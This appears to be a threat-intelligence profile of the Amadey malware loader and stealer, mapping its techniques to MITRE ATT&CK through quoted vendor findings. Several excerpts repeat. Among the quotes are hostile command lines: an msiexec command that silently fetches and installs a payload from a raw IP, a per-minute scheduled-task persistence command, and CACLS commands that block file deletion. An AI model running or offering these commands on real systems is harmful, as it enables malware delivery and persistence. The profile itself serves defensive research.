Loading malware…
Amadey is a commercially distributed modular malware loader and information stealer targeting Windows systems. Advertised on underground forums since at least October 2018, it primarily downloads and executes additional malware while supporting reconnaissance, credential theft, personal-data collection, exfiltration, and remote access through optional modules. Infected systems communicate with operator-controlled command-and-control infrastructure to receive instructions and additional payloads. Its payload ecosystem includes information stealers such as StealC, remote access trojans such as DarkVision and VectraRAT, and the Socks5Systemz proxy bot.
Amadey is used by multiple independent cybercriminal operators, each maintaining its own administration panel and infrastructure. Common infection routes include fake software updates, cracked software installers, and other malware loaders or droppers. It has also been distributed through ClickFix campaigns using deceptive Windows update alerts on counterfeit adult websites promoted through malvertising. Some Amadey samples have been protected with third-party packers to hinder detection and analysis.
Amadey has supported large-scale compromises worldwide, including victims in Australia. In October 2026, the Australian Signals Directorate disclosed that it had accessed one operator's backend and disconnected its controller from approximately 180,000 infected computers. This action disrupted that operator's access rather than the entire Amadey ecosystem and did not establish that malware had been removed from affected devices. Amadey infrastructure was also targeted by Operation Endgame.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
10 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
These droppers deploy and execute various other stealers, including Lumma Stealer and Amadey.
Amadey is a modular Trojan bot and malicious loader first identified in late 2018, targeting Windows operating systems. The analyzed sample communicates its Amadey version (3.50) and ID to C2 infrastructure.
TA406 has used many different malware families, including KONNI, SANNY, CARROTBAT/CARROTBALL, BabyShark, Amadey and Android Moez.
The Amadey bot is a Trojan that was first discovered in 2018 and is used to steal sensitive information from the infected device.
During our analysis of the ROKRAT infection chain, we came across a similar chain leading to the deployment of Amadey, a commercial RAT sold in underground forums.
During our analysis of the ROKRAT infection chain, we came across a similar chain leading to the deployment of Amadey, a commercial RAT sold in underground forums.
+4 more in the app. View in Mallory
122 distinct techniques documented for this family, organized by ATT&CK tactic.
They have now started the campaign with the FakeCaptcha webpages distributed through malvertising.
MITRE ATT&CK Mapping ... Acquire Infrastructure: Domains T1583.001 gatewayssupply.net, itfreedom.help registered weeks before campaign
T1583.004 Acquire Infrastructure: Server Amadey affiliates acquire servers to host C&C panels and support Amadey operations.
MITRE ATT&CK Mapping ... Acquire Infrastructure: Botnet T1583.005 Amadey botnet used for payload distribution
"the first payload which is hosted on Cloudflare Workers" and "Today it is for a OneDrive file"
Cybercriminals often infiltrate ad networks that are open to all comers. They purchase advertising slots that redirect users to malicious resources, employing various tricks to achieve infections.
we recently discovered a new campaign leveraging an exploited self-hosted GitLab instance to deliver the StealC infostealer... threat actors are hijacking abandoned, self-hosted GitLab servers to create a legitimate-looking payload distribution infrastructure.
During our analysis, we also discovered that Amadey was actively pushing the Remcos RAT via its control panel... We have also seen instances of Amaday C&C servers recently that are actively pushing DoublePulsar backdoor and EternalBlue exploit payloads on the victim machine.
T1588.001 Obtain Capabilities: Malware Amadey affiliates often acquire additional malware to be distributed to a compromised system.
MITRE ATT&CK Mapping ... Obtain Capabilities: Tool T1588.002 Registered accounts with 5 RMM vendors to generate custom installers
Description Generated datasets for Windows Amadey File Indicators in attack range. MITRE ATT&CK Techniques Environment Details Datasets The following datasets were collected during this attack simulation: Snapattack Path: /datasets/attack_techniques/T1608/snapattack/snaattack.log
T1608.001 Stage Capabilities: Upload Malware Amadey and Stealc affiliates can upload acquired malware to their infrastructure or third-party web services to distribute it.
Attackers continued gaining access through internet-facing devices, remote management tools, compromised accounts, and stolen credentials. Qilin affiliates used several routes into victim networks, including compromised credentials...
主な感染経路としてフィッシングメール、海賊版のソフトウェアへのバンドル、エクスプロイト経由で配布されることが報告されています。
« Exploitation de CVE-2023-7028 (GitLab) pour distribuer StealC via le loader Amadey ».
The most common methods included fake software updates, cracked software installers, and third-party malware loaders.
Its primary infection vectors have been reported to include phishing emails, bundling with pirated software, and distribution via exploits.
ROKRAT has not changed significantly over the years, but its deployment methods have evolved, now utilizing archives containing LNK files that initiate multi-stage infection chains.
«Всё началось с фишингового письма, которое содержало ссылку на HTA-файл.»
MITRE ATT&CK® Techniques Tactic Technique ID Technique Name Execution ... T1047 ... Windows Management Instrumentation
With this, the malware executes every minute because it gets configured in the Task Scheduler.
schtask.exe is launched... a scheduled task is created... /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "...\gntuud.exe" /F.
The Amadey bot now gets the machine’s username and modifies the permission of the file “nbveek.exe” and folder “ 4b9a106e76 ” by granting the user to read/write and execute files using the following command.
This threat demonstrates several techniques of the MITRE ATT&CK framework, most notably ... PowerShell - T1059.001 ... The installation comes as a GoLang dropper, .NET dropper or PowerShell script.
The sample dynamically resolves and concatenates encrypted strings to construct a CMD command... CACLS "gntuud.exe".
Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently
Talos discovered another unique file on the “Milidmdds” GitHub account during this research — a malicious Python script named “checkbalance.py”.
[Amadey](https://attack.mitre.org/software/S1025) has used a variety of Windows API calls, including `GetComputerNameA`, `GetUserNameA`, and `CreateProcessA`.(Citation: BlackBerry Amadey 2020)
the abuse of trusted platforms such as GitHub or cloud-storage services to host payloads and evade filtering
The report's MITRE ATT&CK mapping lists Shared Modules (T1129).
Its primary infection vectors have been reported to include phishing emails, bundling with pirated software, and distribution via exploits.
The phishing site mimics Game Cheat that downloads a “Bossmenu Setup.rar” file... Users are shown the phishing site used by the TAs for spreading the Amadey bot when they click the download button.
Annotations ID Technique Tactic T1204.001 Malicious Link Execution
“ClickFix pages, where fake verification prompts persuade people to run copied commands on their own devices” and “a fake CAPTCHA or verification page instructs the visitor to open the Run dialog and paste a command.”
The instructions provided by the phishing scripts tricked users into executing malicious PowerShell commands to download additional spyware.
ClickFix pages use fake verification prompts that persuade people to run copied commands on their own devices; a fake CAPTCHA or verification page instructs the visitor to open the Run dialog and paste a command.
MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution System Services: Service Execution T1569 Amadey direct PE execution
With this, the malware executes every minute because it gets configured in the Task Scheduler.
schtask.exe is launched... a scheduled task is created... /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "...\gntuud.exe" /F.
Attackers continued gaining access through internet-facing devices, remote management tools, compromised accounts, and stolen credentials. Qilin affiliates used several routes into victim networks, including compromised credentials...
[Amadey](https://attack.mitre.org/software/S1025) has overwritten registry keys for persistence.(Citation: BlackBerry Amadey 2020)
T1136.001 Create Account: Local Account Amadey can create an administrative account on a compromised system.
Annotations ID Technique Tactic T1543 Create or Modify System Process Persistence
Enables Remote Desktop by allowing inbound RDP connections to the host system ... configure the Terminal Services to auto-start, and launch the service
[+] Новый автозапуск! Абсолютно без реестра.
[Amadey](https://attack.mitre.org/software/S1025) has changed the Startup folder to the one containing its executable by overwriting the registry keys.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)
With this, the malware executes every minute because it gets configured in the Task Scheduler.
schtask.exe is launched... a scheduled task is created... /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "...\gntuud.exe" /F.
The report's MITRE ATT&CK mapping lists Process Injection (T1055).
T1055.002 Process Injection: Portable Executable Injection Amadey can inject a downloaded payload into its child process.
The dropper uses classic process hollowing (T1055.012) to execute the decompressed Stealc binary inside a legitimate Windows process.
The report's MITRE ATT&CK mapping lists Exploitation for Privilege Escalation (T1068). The narrative states ShellExecuteA uses the runas parameter.
Attackers continued gaining access through internet-facing devices, remote management tools, compromised accounts, and stolen credentials. Qilin affiliates used several routes into victim networks, including compromised credentials...
Annotations ID Technique Tactic T1543 Create or Modify System Process Persistence
Enables Remote Desktop by allowing inbound RDP connections to the host system ... configure the Terminal Services to auto-start, and launch the service
[+] Новый автозапуск! Абсолютно без реестра.
[Amadey](https://attack.mitre.org/software/S1025) has changed the Startup folder to the one containing its executable by overwriting the registry keys.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)
If the permissions on the scheduled task creation are misconfigured, Amadey can take advantage of this to create a scheduled task that runs with higher privileges.
___main ( ) ; __Z10aBypassUACv ( ) ;
[Amadey](https://attack.mitre.org/software/S1025) has obfuscated strings such as antivirus vendor names, domains, files, and others.(Citation: BlackBerry Amadey 2020)
This article will cover the the string encryption in Amadey 1.09, and will provide a step-by-step guide to create an automatic string decryption script in Java.
主な感染経路としてフィッシングメール、海賊版のソフトウェアへのバンドル、エクスプロイト経由で配布されることが報告されています。
T1027.015 Obfuscated Files or Information: Compression Amadey can download, decompress, and execute payloads delivered in ZIP archives.
This file is being shared via torrent, disguised as cracks for Hancom and MS Office... The malware installed by the threat actor mimic original programs, with names such as TeamViewer, Explorer, and AnyDesk. The threat actor not only disguises the filename but also the icons to resemble the original programs when distributing the malware.
MITRE ATT&CK Mapping Tactic Technique ID Application in This Campaign Defense Evasion Masquerading: Invalid Code Signature T1036.001 Forged PE timestamp, Inno Setup wrapper
Decoy metadata Fake "Peridot Software" vendor, 16 benign log strings T1036.005
The report's MITRE ATT&CK mapping lists Process Injection (T1055).
T1055.002 Process Injection: Portable Executable Injection Amadey can inject a downloaded payload into its child process.
The dropper uses classic process hollowing (T1055.012) to execute the decompressed Stealc binary inside a legitimate Windows process.
Att&ck IDs: T1070 - Indicator Removal on Host
pcVar1 = __Z12aGetSelfPathv ( ) ; __Z13aDropToSystemPc ( pcVar1 ) ; pcVar1 = __Z19aGetSelfDestinationi ( 0 ) ; __Z11aAutoRunSetPc ( pcVar1 ) ;
After its execution, by executing the Timestomping technique on the newly created files, we were able to detect the creation of two files...
Attackers continued gaining access through internet-facing devices, remote management tools, compromised accounts, and stolen credentials. Qilin affiliates used several routes into victim networks, including compromised credentials...
the abuse of trusted platforms such as GitHub or cloud-storage services to host payloads and evade filtering
[Amadey](https://attack.mitre.org/software/S1025) has decoded antivirus name strings.(Citation: Korean FSI TA505 2020)
The deletion engine is a legitimately signed IObit utility the operators abuse rather than code they wrote. The IObitUnlocker.exe staged on disk is the genuine, IObit-signed IObit Unlocker 1.6.0.16 ... and the kernel driver it loads ... is the matching genuine IObit component.
The download URL is as follows: msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'
_Z9aRunDll32PcS_ RunDll_0 : rundll32.exe
This bot also checks the victim’s keyboard layout. If it matches a layout associated with a CIS country, all network communication is silently rejected.
Following this, it creates a mutex to make sure only one instance of the bot is running in the system at one point.
The report's MITRE ATT&CK mapping lists Virtualization/Sandbox Evasion (T1497).
_Z8aCheckAVv AV00 : AVAST Software AV01 : Avira AV02 : Kaspersky Lab AV03 : ESET ...
The initial loader dropped dozens of executables into a user-writable staging folder and used hidden command activity to launch them.
«Загружают сборки и вызывают методы напрямую»; «Код грузится прямо в память легитимного процесса и выполняется там.»
[Amadey](https://attack.mitre.org/software/S1025) has overwritten registry keys for persistence.(Citation: BlackBerry Amadey 2020)
the sample first using the command: CACLS “metado.exe” /P “kEecfMwgj:N” to remove any permissions... and then using the subsequent command: CACLS “metado.exe” /P “kEecfMwgj:R” /E to change the access rights to read only, which prevents the file from being deleted.
The CMD command removes existing permissions of gntuud.exe and leaves only Read permission. This mechanism is used to prevent the file from being deleted by the user.
des certificats sont utilisés pour signer le code malveillant Clop afin de lui donner une apparence légitime.
[Amadey](https://attack.mitre.org/software/S1025) has modified the `:Zone.Identifier` in the ADS area to zero.(Citation: Korean FSI TA505 2020)
Att&ck IDs: T1562 - Impair Defenses
The report's MITRE ATT&CK mapping lists OS Credential Dumping (T1003).
The “Clip64.dll” is a Clipper module... monitoring the clipboard of the victim’s computer and swapping any copied cryptocurrency wallet addresses with the TA’s address.
Through these plugins, it can gain capabilities such as... monitoring the clipboard.
Older versions of Mikrotiks Winbox would give the option to export you data to a ‘WBX’ file which would store the usernames and passwords for your managed devices unencrypted along with a Addresses.cdb file which is also stored unecrypted.
The report's MITRE ATT&CK mapping lists Credentials from Registry (T1552.002).
Through these plugins, it can gain capabilities such as... collecting credentials from browsers, cryptocurrency wallets, and various applications.
Cred64.dll is a 64-bit Microsoft Visual C/C++ DLL executable and is programmed to steal browser data
Another addition is the parsing of Outlook profiles from registry in order to harvest account data
It further steals the crypto wallet data from the directories including %appdata%\Armory\.
RegOpenKeyExA and RegQueryValueExA APIs are used to obtain the Windows Build number; the computer name is also retrieved through the registry.
[Amadey](https://attack.mitre.org/software/S1025) can identify the IP address of a victim machine.(Citation: BlackBerry Amadey 2020)
[Amadey](https://attack.mitre.org/software/S1025) has collected the user name from a compromised host using `GetUserNameA`.(Citation: BlackBerry Amadey 2020)
T1057 Process Discovery Amadey’s credential stealer plugin enumerates running processes to identify targeted applications. Stealc also enumerates running processes during its initial execution stage.
[Amadey](https://attack.mitre.org/software/S1025) has collected the computer name and OS version from a compromised machine.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)
[Amadey](https://attack.mitre.org/software/S1025) has searched for folders associated with antivirus software.(Citation: Korean FSI TA505 2020)
After this, the Amadey bot now gets the machine’s username... The POST request contains... Un Username dm Domain Name
The report's MITRE ATT&CK mapping lists Virtualization/Sandbox Evasion (T1497).
_Z8aCheckAVv AV00 : AVAST Software AV01 : Avira AV02 : Kaspersky Lab AV03 : ESET ...
Enumeration of antivirus software installed on the infected machine (Figure 5).
[Amadey](https://attack.mitre.org/software/S1025) has checked for a variety of antivirus products.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)
[Amadey](https://attack.mitre.org/software/S1025) does not run any tasks or install additional malware if the victim machine is based in Russia.(Citation: BlackBerry Amadey 2020)
T1614.001 System Location Discovery: System Language Discovery Amadey and Stealc check the system keyboard layout/locale to implement CIS-country execution blocks.
Some of the supported commands are listed below - ... Enable RDP
the panel can then task it: download and run a follow-up payload, inject code, capture a screenshot, open a VNC or reverse-proxy session
DLLs for • Credential stealer
[Amadey](https://attack.mitre.org/software/S1025) can collect information from a compromised host.(Citation: BlackBerry Amadey 2020)
The “Clip64.dll” is a Clipper module... monitoring the clipboard of the victim’s computer and swapping any copied cryptocurrency wallet addresses with the TA’s address.
Through these plugins, it can gain capabilities such as... monitoring the clipboard.
Through these plugins, it can gain capabilities such as taking screenshots.
It was a clipper module stealing cryptocurrency transaction data from the clipboard.
T1119 Automated Collection Amadey uses its credential stealer plugin to collect and exfiltrate credentials from various applications. Stealc’s credential collection is fully automated and policy-driven via the C&C-supplied configuration.
The “Cred64.dll” module is designed to collect sensitive information from browser files... The “Login Data” file contains the user’s saved login credentials.
This PowerShell also extracts a ZIP archive from the LNK, which contains a DLL.
Amadey encrypts response data with RC4 recently ... RC4 + Base64 ... RC4 + Hex string
Each Amadey sample contains at least one hardcoded C&C server URL, with the configuration supporting up to three entries.
Amadey is responsible for collecting information from infected machines, conducting C2 communications, and retrieving and executing additional payloads... As of 2026, the Amadey C2 communication that we have been able to confirm operates by encrypting binary data with an RC4 key, converting it into a hexadecimal string, and exchanging it in that form.
[Amadey](https://attack.mitre.org/software/S1025) has used HTTP for C2 communications.(Citation: BlackBerry Amadey 2020)
Through these plugins, it can gain capabilities such as... routing network traffic through a proxy.
MITRE ATT&CK® Techniques ... Command and Control T1095 ... Non-Application Layer Protocol
[Amadey](https://attack.mitre.org/software/S1025) can download and execute files to further infect a host machine with additional malware.(Citation: BlackBerry Amadey 2020)
T1132.001 Data Encoding: Standard Encoding Amadey uses hexadecimal and base64 encodings for transferred data. Stealc uses base64 for exfiltrated data on top of RC4 encryption.
The report's MITRE ATT&CK mapping lists Remote Access Software (T1219).
Besides that, it offers three modules for further data exfiltration and access: clipboard monitoring, credential theft, and VNC-based remote access.
As part of its behavioral flow, ElectroRAT contacts raw pastebin pages to retrieve the C&C IP address.
[Amadey](https://attack.mitre.org/software/S1025) has used fast flux DNS for its C2.(Citation: Korean FSI TA505 2020)
Att&ck IDs: T1571 - Non-Standard Port
Before sending system information data, Amadey encrypts it using the RC4 algorithm with the mutex value as the encryption key.
Samples also embed an RC4 key used for encrypting communications with the C&C server... Stealc communicates with its C&C server over HTTP using RC4-encrypted JSON objects.
T1020 Automated Exfiltration Amadey and Stealc exfiltrate collected data to their C&Cs fully automatically without operator interaction.
[Amadey](https://attack.mitre.org/software/S1025) has sent victim data to its C2 servers.(Citation: BlackBerry Amadey 2020)
Extortion continued shifting away from file encryption and toward data theft... stolen employee, customer, supplier, financial, or operational data can be published or used for further extortion.
Amadey uses an infected system as a botnet and can launch a distributed denial of service attack on other systems.
1,135 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.